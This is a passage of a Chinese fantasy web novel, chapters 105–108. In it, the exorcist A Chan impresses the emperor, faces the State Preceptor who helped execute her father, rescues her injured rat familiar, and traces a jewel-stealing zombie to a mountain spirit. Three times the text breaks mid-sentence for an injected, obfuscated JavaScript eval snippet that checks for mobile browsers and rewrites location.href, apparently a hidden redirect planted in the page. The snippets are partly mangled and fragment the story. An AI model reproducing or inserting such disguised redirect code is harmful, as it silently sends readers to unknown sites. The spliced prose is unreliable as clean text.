他和公主贵妃等人因为被护在后面,没有沾染到妖气,此刻只是坐等霍彦先和宫中卫尉的调查结果,顺便审视女儿慧眼识珠的这位闻寰居士。 刚才她在御花园收伏焦骨魈的风姿本领,令他印象十分深刻。 以前皇后在世时,常对自己说,要善于发掘民间有才德本领的女子,为大桓女子做表率。 他以往知晓的高人,全部都是男子,还不曾想大桓竟有这样道法高强、临危不惧的女方士。 再加上女儿玥宜和自己讲,这闻寰居士还很快便找到了罕见的上古神兽狈负蛇做药引,治好了禾阳贵女的脸,总算圆了阮云薇闯的祸,不让皇室蒙羞。 所以桓帝不禁对这闻寰居士感兴趣起来,或许,皇后说得对,他是时候也该让大桓女子有所作为…… 这样想着,他便放任她在殿中自由行动,顺便考察一下她。 倒是真肚子里有货,只是……看着阿婵收钱收出残影的手和脸上的笑意,倒是“真性情”…… 桓帝轻咳一声,抚须道:“闻寰居士这平安符,真的这样有用?” 阿婵闻言,赶紧狗腿地一溜小跑呈上一张崭新的平安符,以及其他各种符箓,并介绍起自己的师承。 “绘制此符之法,乃是师承炁云洞苍衍道长所学,可禳灾解难,避祸祈福……” 桓帝看过之后,缓缓点了点头,沉声道:“那便请居士给在座诸位都来些符箓,不知符箓可够?朕随后会命人将法金与赏赐一并送到府上。” 这熟悉的、财大气粗的话语,不愧是亲父子! 阿婵瞬间想起晁元肇在灵骅寺对她说过的话,当然嘴上还是乖巧道:“符箓充足,请圣人放心,在座诸位都会有的,侍卫大人们也是足够的。” 于是,霍彦先目瞪口呆地看着阿婵又开始给圣人、公主、陈贤妃、虞屹安等人发放符箓。 好家伙,这钱是真让她给赚到宫里来了! 阿婵将符箓递给煜王,经过灵骅寺之事,煜王显然已经很富有经验,当下神色无波,接过便道:“多谢居士。” 随后,她将符箓递给玥宜公主,公主正看着笼中休息的嗽金鸟,一脸担忧道:“居士,这鸟儿的伤,你能治吗?” 阿婵故作思索状:“可以是可以,只不过某需要回去调配一些兽用灵药,再进宫来为它医治,可能需要几个疗程……” “没问题,我到时候给你令牌,你随时可以入宫。”玥宜公主干脆应道 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阿婵与她对视一刹,低头颔首道:“娘娘放心,我已查看过在场所有的人,除了与妖物正面冲突的侍卫和距离过近的三位贵女外,其他人均无大碍。尤其是圣人、公主、煜王以及娘娘和虞大人,都是命格福泽深厚之人,自有紫气护体,不会为妖物随便伤害。” 双方都是老油条,一问一答不仅让在场所有人都放心,也令人十分舒心。 陈贤妃倒是对这闻寰居士另眼相看,刚才在御花园的时候,自己都没怎么注意到她。 玥宜说她是头一次进宫,可这才不过一晚宴席,此人便居然左右逢源,看圣人瞧她的眼神,之后必不是个简单人物,想到此,陈贤妃不禁多看了阿婵两眼。 此时,阿婵已经转身给虞屹安递符箓,“虞大人,请把符箓收好。” “多谢居士,居士辛苦,一会儿某便会安排人将圣人的赏赐和法金送至府上。” “多谢大人。”阿婵道谢。 她抬眸看向虞屹安,只三言两语的接触,便不禁想到阿菀信中对他的形容,这人像冬日暖阳,像涓涓溪流,一个字,淡,却让人感到十分妥帖舒心。 他的相貌身段是桓安一等一的,和霍彦先的冷峻锋利、极具侵略性不同,虞屹安的眉眼清雅柔和,看上去非常亲善儒雅,是小娘子们很容易一见倾心的文士类型。 且他周身气质清贵,让人很难想象,他少年时期家境竟然穷困潦倒。 但阿婵也从虞屹安身上感受到了淡淡的疏离,是隔绝一切的疏离。 霍彦先也疏离,但他是诱.人近身然后猛地将人一把推开,你方知他是带刺的铜墙铁壁。 而虞屹安的疏离,却让人如沐春风,吹得人晕乎乎,却发现怎么也再进前不了一步,他像是整个人都隔在透明的琉璃罩子里,你看得见人,却无法触及。 只有十年前阿菀身死的那一晚,阿婵所见的虞屹安截然不同。他抱着阿菀的尸身,哭得撕心裂肺,仿佛要将心都呕出来…… 脑海中瞬间情绪翻涌,阿婵极力控制自己,便及时抽身退到大殿边缘,当个隐形人。 但就是这一瞬的情绪,也还是被一直注视着她的霍彦先捕捉到了,他心中突然莫名滞涩…… 105. 她承认了 “国师到!” 霍彦先心中还在五味杂陈,却被宫人的通报声打断。 阿婵朝门口看去,只见一位约莫五十岁年纪,身着黑色道袍、手持拂尘的道士进入宫殿。 他步伐沉稳,每一步都给人仙风道骨之感。 阿婵瞬间屏住呼吸,冷汗从周身毛孔不受控制地蹿出。十年前父亲被斩首的血腥场面一下冲进脑海,这人,便是当年在刑场布下风水大阵的凌元道长! 如今他已经是国师了。 凌元道长不疾不徐走到桓帝面前,一撩拂尘,跪地请罪: “贫道回来晚了,请陛下降罪!” 桓帝因阿婵降服焦骨魈,抢救嗽金鸟及时,心情倒是没有很糟糕,是以一直情绪平稳,并没有怒骂侍卫以及任何人,当下仍是气定神闲道: “国师不在,宫中就进了妖物,看来大桓确实离不得国师啊。” “一切还因贫道布防不利,请陛下降罪。”凌元道长仍是一副负荆请罪的姿态。 桓帝摆摆手,“罢了,今日幸有闻寰居士护佑,降妖有功,看来我们大桓气数未绝,国师有空可以和这位居士聊一聊今夜降妖的经过,很是精彩。” 阿婵和凌元道长视线相交,只一瞬,她便压下眼中的阴霾,对凌元道长行礼:“见过国师。” 凌元道长身量很高,居高临下地审视着阿婵,半晌道: “真是江山代有才人出,闻寰居士年纪轻轻,竟有如此深厚的修为,确是我大桓之幸,恭喜陛下。” 阿婵并不看他,低头安静谦恭地被桓帝和国师品头论足。 一旁的霍彦先却有些皱眉。 随后,桓帝便让阿婵将夜间捉妖的情景给凌元道长复述一遍。 阿婵口齿伶俐,条分缕析,关于妖物的细节讲得十分清楚,凌元道长仔细聆听,不时点头思索。 末了,待阿婵讲完,桓帝道: “今夜之事,万幸无人受伤,只需查清妖物闯入之缘由,朕便不追究布防疏漏之责。当务之急,是请国师将宫中隐患查缺补漏,不可再次发生。” 凌元道长:“是,贫道这就去查。” 随后,便匆匆离开宫殿。 *** 今夜的宴席终以焦骨魈事件结束。 贵女们已无事,桓帝便遣侍卫将她们送出宫,返回家中。 阿婵也要回去拿为嗽金鸟治伤的药,所以也跟着一起出了宫。 贵女们走得悄无声音,一是害怕,二是因为队尾有霍彦先。 因他的身份和气场,众贵女屏住呼吸大气不敢出,只有阿婵默默在他身侧,和他并行,但二人一路并无交流。 阿婵看着宫中四处都是行色匆匆的侍卫,他们手中均持有一个贴着符箓的灯笼,灯笼摇晃,但其中的烛火却纹丝不动,她心知,是寻妖灯。 这凌元道长不愧是国师,桓帝刚下达指示,他便反应如此迅速。 阿婵心中不安,东仓使者还没给她传来消息…… *** 走到宫门外,贵女们纷纷上马车离开。阿婵出于保护,一一目送她们安全走远,是以自己待到最后。 不多时,宫墙之下,已只剩下霍彦先和阿婵。 “霍大人,那我也先告辞了,辛苦你回去继续调查。” 阿婵转身欲解开栓马缰绳,身后却传来霍彦先的声音:“等等。” 霍彦先回想起阿婵在殿中大出风头的情景,觉得太过招摇,一路都想提醒她,奈何人多不便,此时终于四下无人,赶紧叮嘱道: “宫中是非多,你再来要谨慎些,不要像今晚一样,如此引人注目。” “哦,多谢大人。”阿婵心不在焉应道。 见她如此敷衍,定是没有听进去,霍彦先有些着急:“我不是在开玩笑,你再进宫,要懂得收敛,不要只想着如何赚钱!” 阿婵心中正想着今日宫中的一切见闻,被他突然提高的音量吓得回神,想了想道,“可是大人,我进宫也不是为了赚钱啊。” 听她话中有话,联想到她看虞屹安的眼神,霍彦先心头一紧,忙问:“那是为了什么?” “之前在富州城,我不是说过我想进司辰局嘛,大人难道忘了?” 霍彦先难以置信地看着她,“你认真的?!” 他心下震惊,当时只当她随口胡诌,没想到竟是真的! “为什么大人觉得我在骗你?” 阿婵突然正色道:“霍大人,人往高处走,我亦如此。” 霍彦先不禁怔愣,此刻,阿婵的眼眸亮得吓人,像仙昙村那一晚,令人见之心神一晃。 她如此坦然地将自己的野心暴露无遗,霍彦先竟不知该如何回答。 搜肠刮肚半天,竟说出一句:“司辰局还没有女子为官的先例……” “大桓也没有外姓县主,叶逢君便也做了。司辰局若是没有女官,我便来当这第一。路本来都是没有的,都是要靠人走出来的。” 阿婵一字一句,掷地有声。 她虽比霍彦先矮了一头,但此刻气场犹如守城将军,一丝一毫也不退让。 “你……” 霍彦先瞬间哽住,他那话本也不是要反对女子为官的意思。当年嘉善皇后曾向圣人提出过女子为官的政策,可后来皇后疾病去世,又正值大桓内忧外患,此事便无限期搁置。 只是如今让阿婵这样一说,倒显得他小家子气了。 他解释道:“我不是说女子不能为官,只是这件事情很难。” 但看着阿婵那坚定的神情,他心中竟升起一个念头,女子为官这件事,如果是阿婵,说不定她真的可以做到。 从他第一次见到她开始,她对他所说的每一句话,似乎都没有遮掩,有时候直白剽悍得连霍彦先都惊愕。 他习惯秘密行事,但阿婵似乎恨不得将什么事都摊开在阳光下暴晒。 并且她所说过的话,似乎并无虚言。 她的身份背景,行事轨迹,他查过,确实核对得上。 那些星占预言,她说会发生,无论他如何提防,还是发生了。 那些难捉难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406183|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻的妖怪,她说可以找到,便找到了。 此刻的她也一样,将自己的野心欲.望在他面前明晃晃暴露无遗,似乎只要今日说出来,明日便会实现。 这样的女子,霍彦先此前从未见过。 不出意料,阿婵仍气定神闲,神色笃定,笑着应答:“难是难,但也要尽力去争取,若是连想都不敢想,今日我也不会进宫,你说是吧,霍大人。” 话虽如此,但霍彦先还是觉得她想得太简单了。 “为官之路并不是你所想的那么简单。多少人初入宫时都是你这般想法,但官场水深,如履薄冰尚且未必能够全身而退,更何况你这样大喇喇地横冲直撞!” 若是只在他面前,他习惯了倒也还好,但且不说入朝为官,就单单进一回宫,阿婵这样的性子,这样出风头,还不知道要招惹多少祸患,他是好心提醒她。 “那大人多年来平步青云,似乎顺风顺水,不知道有何诀窍,大人可否传授一二?”阿婵抬眸问道。 夜色下,她眼中充满审视意味,霍彦先瞬间脸色一变。 “谁说我顺风顺水……” “绣衣察事司从没有而立之年的绣衣副察事,这事众所周知,大人年纪轻轻身居高位,还觉得不顺?” “多的是你不知道的个中龃龉!” “那大人有什么不可告人之事?”阿婵挑眉看他,眼神变得狡黠。 熟悉的探究感又回来了,霍彦先此刻也冷静下来,看着阿婵,眸色深邃。 “想知道?等你加入绣衣察事司,自会知晓。” 老狐狸,阿婵撇撇嘴,又变成了那个铜墙铁壁的霍彦先,没意思。 “大人真小气,行了,今日大人的教训我记住了,多谢大人!” 阿婵敷衍抱拳,转身就走。 “等一下——” 身后又传来一声不情不愿的拖长腔调。 她回头,却见霍彦先别别扭扭递给她一包东西。 阿婵诧异:“这是什么?” “我去御医那里求来的药,可以帮助你恢复内伤,药方在里面包着,你记得按时吃。” “……” 这回轮到阿婵沉默。 怎么回事,打一巴掌给个甜枣? 默了一瞬,她也铜墙铁壁装模作样打着官腔作揖:“这就是大人传授的为官之道?好的,下官心领了。” 霍彦先一股火又窜上来:“你还没当官呢!” 阿婵左看右看,低声道:“所以大人不要对我这么好了,免得玥宜公主误会。” 霍彦先:“……” 跟她说不通!霍彦先气得转头回宫,继续巡查去了。 看着霍彦先的背影渐渐远去,阿婵又低头看了看手中的药包,不解,叹气。 随即,她抬头又看向宫墙之内,巍峨宫殿飞檐翘角,屋脊神兽森然矗立,她神色再无任何戏谑,眼神比夜色更深。 良久,阿婵欲骑马回蓬莱春,刚一上马,心口却登时有被撕裂的感觉! 不好!东仓使者出事了! 106. 大事不妙! 皇城,卷宗库。 黑暗中,库内几排木质卷宗架之间的地板缝隙,一个团状黑影嗖嗖嗖飞快窜过,溜到门边,从门缝里“滋溜”一下挤成一片出去。 东仓使者小小的脑袋满头大汗,太邪门了!那卷宗库三层阁楼的结界到底是个啥,以它穿墙凿洞几百年的修为,用尽全力出击竟然纹丝不动! 感觉被羞辱了! 无奈,阿婵告诉过它若是不能成功,不许恋战,赶紧撤退,它便赶紧从卷宗库出来。 哪知一出来就变了天,宫中到处都是侍卫,人人手中提着一个灯笼,上面还贴了符箓。 “都仔细点搜!” 东仓使者定睛看去,烛火纹丝不动,这破灯笼竟是寻妖灯! 幸好阿婵提前给了它敛气符,可收敛周身妖气,东仓使者赶紧贴墙根边溜了。 到了一处幽静富丽的宫殿,东仓使者探头探脑,这就是陈贤妃的居所——贤华殿。 此前,它已将宫中的地形图背下来,阿婵叮嘱它一定要去一趟贤华殿。 因陈贤妃说自己一沾猫毛就全身起疹子,猫妖日常从不去贤华殿,查探陈贤妃的重任,就落在了东仓使者头上。 贤华殿外很是静谧,今夜陈贤妃在圣人身边未归,这里只有宫人值守。 但东仓使者越过影壁,一进入院中,就发觉这地方隐约有点不对劲。 这个地方,你说它没有妖气吧,它也有点,但若说有妖气吧,好像又有点勉强。 不管了,先看看再说! 东仓使者四处钻进钻出,直至钻入陈贤妃起居的寝殿内,它看到窗边案几上放着一株兰花…… *** 贤华殿外。 “此处可能有妖物!” 一个侍卫指着自己手中的寻妖灯,其中的烛火竟然变成了幽绿诡异的颜色。 瞬间,众侍卫都变了脸色,往后退了几步,发出求援信号,并按照预演排列防御阵型,毕竟他们都是不会法术的凡人,只是按照国师的吩咐搜寻妖物,他们并不想真的和妖物正面发生冲突。 几个人抽出腰间佩刀,紧张地盯着贤华殿。 半晌,没有动静…… 侍卫们面面相觑,但丝毫不敢松懈,屏住呼吸。 又过了半晌,只听得“喵呜”一声,从殿外的角落里,一只虎斑花纹的胖猫闲庭信步、大摇大摆地从侍卫们面前走过。 它嘴上还叼着一只小小的灰色老鼠。 侍卫们皆松了一口气。 “没事没事,是金丝虎在捉老鼠!” “谨慎,可能还有其他妖物!” 只见那灰鼠爪子中紧紧抓着几根叶片,叶片掉落在地的瞬间,几个侍卫手上的寻妖灯霎时全部变为幽暗的绿色,鬼火一般。 金丝虎叼着灰鼠晃晃悠悠从侍卫中间踱步过去,慢慢走远。 有个侍卫提着灯走到猫身边,烛火变成了正常的桔红色。 但其他几个侍卫手中的寻妖灯烛火仍泛幽绿。 “怎么回事?”国师身边的少年童子赶到,他正好在这附近搜查,接到求援信号,赶紧过来。 “小道长,这里有妖气!”侍卫道。 少年童子也看到胖猫叼着老鼠从自己面前走过,而后走到了侍卫身边,查看一阵。 忽然,他看到了地上几根散落的叶片,恍然大悟。 “没有妖物,是这个碧霖兰的叶片,有几百年,应该是有了灵气,可能被寻妖灯误判为了妖物。之前忘记和你们说了。” 众侍卫才松了口气。 但少年童子却皱眉道,“这是陈贤妃的珍贵兰草,怎么叶片掉在这里?” 他们进入贤华殿查探一番,果然,在碧霖兰草前,寻妖灯的幽绿烛火尤为旺盛茁壮。 此时,贤华殿的管事嬷嬷才知道这株几百年的兰草竟不知何时惨遭毒手,吓得立时从昏睡中清醒过来。 赶紧问侍卫,有没有看到是何人搞的。 侍卫心道,你离它这么近都不知道,还问我呢! 有个侍卫突然道,“是不是金丝虎抓的那只老鼠偷的!” 待听说是一只老鼠偷的,而且已经被金丝虎捉住了,管事嬷嬷这才松了口气。 只要不是人为就好。 金丝虎是圣人的宠物,它抓到毁坏娘娘兰草的老鼠,以圣人和贤妃温厚的性格,应该不会太过责怪自己。 当然免不了肯定要被训斥几句,略施小惩,但总比罚俸禄挨板子要强多了。 想到此,管事嬷嬷赶紧安排宫人动起来:“快去打扫卫生,宫中都闹老鼠了你们还敢歇着!” 夜晚的贤华殿顿时忙成一锅粥。 *** 金丝虎一路明目张胆掠过众多侍卫,颠颠小跑到一个无人的墙根底下,将嘴里叼着的东仓使者放下,爪子刨了刨墙根。 “赶紧从这里出去,别乱窜了,小心碰到国师,到时候可就不是敛气符能避过的了!”猫妖暴躁道。 “多谢多谢!” 东仓使者感激道,转身对着猫妖刨地的那处,伸出爪子刨刨刨,速度之快,刨出残影,瞬间便挖出一个地洞钻了出去。 猫妖见它离开,才又用爪子将洞口的土填上。 *** 东仓使者离开皇城,直奔蓬莱春。 不多时,它越跑越觉得不对劲。 大事不妙! 身后有东西跟着自己! 这感觉从离开皇城开始到现在,才逐渐变得清晰起来。 这东西很厉害! 它刚一想明白,背后突然一阵劲风袭来。 下一刻,一道不知道从哪里来的符箓,泛着红色光芒,划过夜色,直接给了东仓使者背后重重一击! 东仓使者只觉后背连着心口一阵剧痛,心知自己着了道! 但它依旧强撑着向蓬莱春跑去。 可实在太痛了!跑到距离蓬莱春几条街开外的暗巷之中,东仓使者感觉自己周身的力气都用尽了。 它一步一踉跄地艰难爬行,感觉自己一身的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410883|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福报都抵消在了这符箓的一击之中,今晚真是必死无疑了。 它爷爷的!好鼠没好报!不知道是谁这么缺德,放这么厉害的符箓! 东仓使者一边骂,一边东倒西歪地爬着,最后终于爬不动了,倒在地上摊成一片鼠饼,大口大口喘着粗.气…… 而它背后那道符箓,此刻却悄然从身上渐渐剥离。 待到完全剥离了东仓使者的身体,那符箓凌空后退,蓄势待发,正准备再次化作一道红色利剑直.插东仓使者的心脏,对它发起致命一击。 感到背后那股强大的力量再次袭来,东仓使者想翻身躲开却根本没有力气,只好绝望地闭上眼睛。 看来今晚是真的要交待在这儿了! 唉,真是好鼠没好报! 忽然,一道淡蓝色的丝线划过夜空,将泛着红光的符箓直接刺穿缠裹,扯着符箓往后。 阿婵出现在暗巷之中。 那符箓还在极力挣.扎,直冲东仓使者而去,仿佛有飞蛾扑火的决心,即使自己覆灭,也一定要置东仓使者于死地! 但阿婵食指指尖轻轻往后一摇,似有千钧力气,将那劲力十足的符箓直接“力拔山兮”起来。 “收!” 阿婵一声令下,山蜘蛛丝骤然缩短,那符箓及时不情愿也瞬间飞至阿婵手中。 符箓在她手中发出剧烈的颤.抖,似乎非常痛苦,阿婵冷肃端详上面的咒文。 片刻后,“噗”地一声,她指尖蹿出一苗淡蓝色火焰,符箓在她手中燃烧起来。 直至火焰熄灭,符箓化作灰烬,掉落在地。 阿婵走到东仓使者身前,弯腰将它拎起,捧在掌心,转身离开暗巷。 *** 翌日,皇城贤华殿。 圣人上朝后,陈贤妃才回到贤华殿。 一回来便发现自己的碧霖兰被掐掉了三片叶子。 管事嬷嬷小心回禀,是老鼠啃噬将叶片偷走,但已被殿外圣人的金丝虎捉走了。 陈贤妃有些困倦,只淡淡道,“罢了,叶子断了就断了,总不能对一只老鼠发火,你们打扫时仔细些。” 管事嬷嬷一颗悬着的心方才放下,问她需不需要吃食或沐浴更衣。 “本宫乏了,你们都出去吧。” 寝殿之内,只剩下陈贤妃一人。 她静静喝着茶,看着那株被摧残过的碧霖兰,一改之前的疲态,眸光犀利起来。 *** 蓬莱春。 “醒了?” 阿婵戳了戳摊在桌上的鼠片问到。 东仓使者眼皮轻颤,终于费力地睁开了眼睛。 感觉到在暗巷渐渐抽离的魂魄终于归位钻进身体,它张开嘴长舒了一口气。 缓过气来,东仓使者又开始气鼓鼓—— 它是有多倒霉,天天被符箓背刺追杀,什么体质,简直了! 想到这里,它一骨碌爬起来,皱着眉头,炸着胡须,虚弱但大声:“那个卷宗库和贤华殿都邪门得很!” 107. 珠宝盛宴 “别乱动,那符箓伤及你的心脉,好不容易捡回一条命,你最近不用再去宫中,好好在这里养伤即可。” 阿婵按下暴躁的东仓使者。 东仓使者甚是惜命,一听到这话,赶紧老老实实蹲在原地。 “得亏我福报深厚!”东仓使者感叹。 旋即还是咽不下这口气,忍不住恨恨挥舞小拳头,“谁这么丧心病狂,别让我遇见那人,不然我一定要让他付出代价!” 阿婵皱眉:“等等,你不知道是何人用符箓追击你?” “不知道啊,在宫中的时候一点事没有,我只去过卷宗库和贤华殿,出宫之后这符箓才突然出现的。 说起来,这卷宗库确实很邪门,那结界看起来十分脆弱,但就是怎么钻都钻不进去。”东仓使者也很懵。 “之前金丝虎也尝试过破开卷宗库的结界,但没成功,你比它道行高一些,而且专善钻攻之术,也一样没成功,说明这结界确实很强,有可能是那国师凌元道长所设。” “嗯,有可能。金丝虎带我抄近道出宫的时候也说,这个国师很厉害,如果我正面对上他,估计会被发现。” “但金丝虎之前去探卷宗库之后,也没有遇到什么符箓,所以这次,你是不是在贤华殿招惹了什么东西?” 那符箓攻击性十足,像是要将所有试图打破结界的人全部毁灭。 阿婵看那符纸的咒文,就知道这画符之人道行一定不浅。 如果不是来自卷宗库的追击报复,那么很有可能就是来自贤华殿。 阿婵问:“贤华殿之中也有结界吗?” 东仓使者仔细回忆:“没觉得有啊,我在正殿和东西配殿一路畅通无阻,那些耳房什么的更是没有。只唯一觉得奇怪的,是贤华殿整体的气息,有些不对劲。 不能说没有妖气,但若说有,这妖气又太淡了,可能只是因为宫殿里有些年久器物身上沾了点灵气,或者是那株碧霖兰所致。” 但阿婵不这么认为。 经过她这几年的查探,当年陈贤妃能够进入宫中,就是因为她命格非常华贵。 是一种叫做“灵泽格”的命格,非常亲水。 五行之中,水来财。 十多年前,陈贤妃入宫之前,大桓国库空虚,而自她入宫之后,桓帝便发现了好几座金矿银矿,解决了国库的燃眉之急。 因为这个原因,桓帝才特别宠爱她。 按照东仓使者的话说,陈贤妃寝殿之中有一株几百年的碧霖兰,这种兰花十分罕见,生于峡谷深涧之中,桓安气候干燥,根本养不活。 只有陈贤妃这样的贵水命格源源不断给它供给水气,才得以存活至今。 但是,它还有一个功用,就是可以净化一切污邪的气息。 阿婵猜测,这或许就是为什么东仓使者一进入贤华殿的地界,就觉得十分不对劲的原因。 不正常的妖气,应该是被碧霖兰净化掉了大部分,剩余的一点十分不起眼,甚至连国师都没有发现异常。 如果这个猜测是真的,那么这个陈贤妃,一定有点什么不可告人的东西。 陈贤妃十分相信命格和谶言,十年前,就因为父亲预言她的子嗣不成器,而记恨父亲,极力劝谏圣人将父亲斩首。 如今,她养一株如此罕见的碧霖兰在身边,也一定有高人指点。 但除了这些,陈贤妃是不是还有什么不可告人的秘密? 在没有找到确切答案之前,阿婵习惯对所有可能性保持怀疑。也让她找到了新的调查方向。 目前东仓使者这次事件的教训,让她觉得自己还是太过大意。 她以前也觉得入宫很难,但是如今看来,这宫中水之深、风险之大,还是超出了她的想象。 就这一次简单的探路,便差点让东仓使者殒命,阿婵认为这绝对是自己责任! 比之外面,入宫查探必须更谨慎,计划更加周密,绝对不能行差踏错一步。 阿婵暗暗告诫自己不要心急。 她重新理了一下思绪,目前看来,这卷宗库和贤华殿,必然隐藏着自己想要探知的秘密。 而且自己之前对于陈贤妃的判断,还是过于简单,那么针对她的复仇计划也要随之改进完善。 但这段时间,宫中对于妖物的搜查肯定会很严,猫妖和东仓使者都不适宜过于活跃。 而陈贤妃身边若有高人,显然是猫妖和东仓使者对付不了的,只能自己亲自找机会查探。 现在自己只是得到玥宜公主的允许,去御花园给嗽金鸟治疗伤口,活动范围有限,肯定不能直接去卷宗库和贤华殿,这些事还需要从长计议。 但确定了这个大方向,接下来,就是静观其变,寻找一切可以利用的机会。 当务之急,是先把嗽金鸟的疗伤药物制作好,送进宫中,顺便跟玥宜公主套套近乎。 而后宫中能做的暂时不多,她便想起自己还答应了夏忆桐要去她府上查探偷盗珠宝的僵尸一事。 阿婵直觉她口中的僵尸,和宫中那焦骨魈,定有什么关系。 因炮制嗽金鸟所需的疗伤药物需要一天时间暴晒,今晚阿婵闲着也是闲着,觉得不如去夏忆桐府上看看。 *** 深夜,夏府一片寂静。 阿婵躲在夏忆桐卧室之内的角落,静静等待。 为了引出僵尸,她特意让夏忆桐去府中库房里挑了些金银玉器,放在梳妆台之上。 果不其然,半夜便有动静。 窗棂“吱呀”一声被戳开,从外面翻进来一具皮肉干瘪挂在骨架上的僵尸。 它黑洞洞的双眼都没有四处巡视,便轻车熟路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422091|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直奔梳妆台,看样子确实来了好几次了,跟进自己家似的。 阿婵在角落中看得十分清楚,那僵尸十分粗犷地将梳妆台上的金银珠宝一扫而空,迈着“僵硬而灵活”的步伐从夏府离开。 阿婵悄悄缀在它后面,一路跟踪。 越过桓安的街巷里坊,出了城门,步入城郊密林,直到子夜时分,那僵尸终于在桓安附近龙岫岭的一个山涧幽潭之前停了下来。 这龙岫岭,方位上与灵骅寺所在山脉两相对望,因山中都有灵脉,共同构成了桓安灵气的来源。 灵脉孕育万物,妖物精怪也不例外。像虎妖就是灵骅寺附近的灵脉孕育而出的,而龙岫岭之中,肯定也有很多灵智半开的妖物。 阿婵想,或许焦骨魈就是从这里出来的。 但是,今晚这山中灵脉不对劲。 按照山脉地形走势,阿婵所处的这个地方是水口,本应是灵气聚集最盛的地方,但如今却气息阻涩,死寂一片。 阿婵见那僵尸停在这里,犹如提线傀儡般转向一棵枝叶茂盛如巨伞撑开的大树,走到树根下,突然跪在地上,将怀中所有的金银珠宝撒在一边,开始挖地。 它吭哧吭哧,挖得卖力又迅速,不一会儿便挖出一个巨坑,阿婵随之看到里面竟然有数不清的金银珠宝! 霎时间,坑中散发出的珠光宝气,竟将上方的夜空照亮! 金银珠宝虽然耀眼,但这也未免太夸张了,不合常理啊,阿婵心中暗道,没有动作,还是静静看着。 僵尸挖坑结束,站起来开始跺脚,发出顿地之声。 不多时,一个须发皆白的猴子缓慢地从幽潭的缝隙中爬行过来,深夜之中犹如鬼魅。 待到它走近,阿婵才看清,那根本不是猴子,而是一只白髯魈! 和焦骨魈一样都是山魈类的精怪,但白髯魈更加胆小怕人,通常不会出现在人的视野之中。 只见白髯魈有气无力,颤颤巍巍走到了坑边,开始缓慢悠长地呼吸。 在它一呼一吸间,那冲天耀目的珠光宝气化作一道金黄弧线,被吸食进入了它的体内,直至它吸食完毕,那些光竟然完全消失了。 而坑中的金银珠宝成色也黯淡下来。 阿婵发现,白髯魈吸食了珠光宝气之后,明显面色年轻了些,花白的须发也瞬间少了许多。 显然,它饱餐过后有力气多了,又指挥将僵尸刚偷回来的金银珠宝都放进去,甚至能跑回潭水边取了些水倒进去,搅和搅和,再指挥僵尸将土盖上。 阿婵懂了,这是用灵脉的水将珠光宝气成倍激发出来,方便它吃得更饱一些。 “享受珠宝盛宴没什么,但偷来的就不好了吧。” 阿婵从树丛之后悠悠闲闲走出来,扬声道。 那白髯魈瞬间吓得一激灵,竟然打了个嗝! 108. 灵脉被毁 魈类的精怪其实并不难对付,尤其是这种年老体衰的。 是以阿婵并没有急着出手,只是一步步向白髯魈逼近。 白髯魈平常几乎不跟活人打交道,此时乍见阿婵从树丛里冒出来,一边害怕,一边恶向胆边生,龇牙咧嘴抓起石头就扔向阿婵。 眼看石头迎面袭来,阿婵却仍未停下脚步,奇怪的是,她身前似乎有一道隐形的屏障,石头砸向她,都会反弹回去! 那白髯魈气急败坏,继续扔石头、树枝,逮到什么扔什么,结果全被阿婵身前的隐形屏障给反弹了回去,反而砸向它自己! 白髯魈被砸得吱哇乱叫,一面抱头猴窜,一面指挥僵尸攻击阿婵,但遗憾的是,僵尸也被反弹回去了。 甚至因为僵尸的攻击力道大,反弹力道也更大,直接冲着白髯魈飞过去,将它整个压趴在地。 白髯魈:“……” 它虽刚刚吸食了金银珠宝的灵气,但本身还是非常虚弱的,这一重压来袭,一时间动弹不得。 见阿婵闲庭信步朝自己走来,白髯魈所有的攻击她根本不放在眼里,它知道今天自己是栽了。 但还是不甘心! 白髯魈缓了一缓,继续用尽全力从僵尸身.下拱出去,转头就想跑。 但非常可惜,淡蓝色的山蜘蛛丝立马就把它拖了回来,地上徒留四道不情愿的爪痕。 白髯魈:“……” 它忿忿地转头看向阿婵,自己又没有惹她,她为什么要抓自己,做人别太过分了! 阿婵站在原地,静静看着白髯魈发出愤怒地嘶吼,对自己骂骂咧咧,她也不理,只问道:“这僵尸是你养的吗?” 白髯魈灵智开了一半,只听得懂人言,却不会说话。 此刻它闹腾一通,知道自己跑不了,反而安静下来,被绑着蹲在原地喘粗气,但表情十分不服,也不对阿婵的问题做出任何回应。 阿婵又道:“我并不想杀你,只是想知道你为什么要让这僵尸去桓安人家中偷盗金银珠宝,你若说实话,我便给你指一条生路。” 白髯魈眼中半信半疑,显然,它并不常和人打交道,十分警惕。 “我说话算话。” 说着,阿婵便将它身上的山蜘蛛丝松开了。 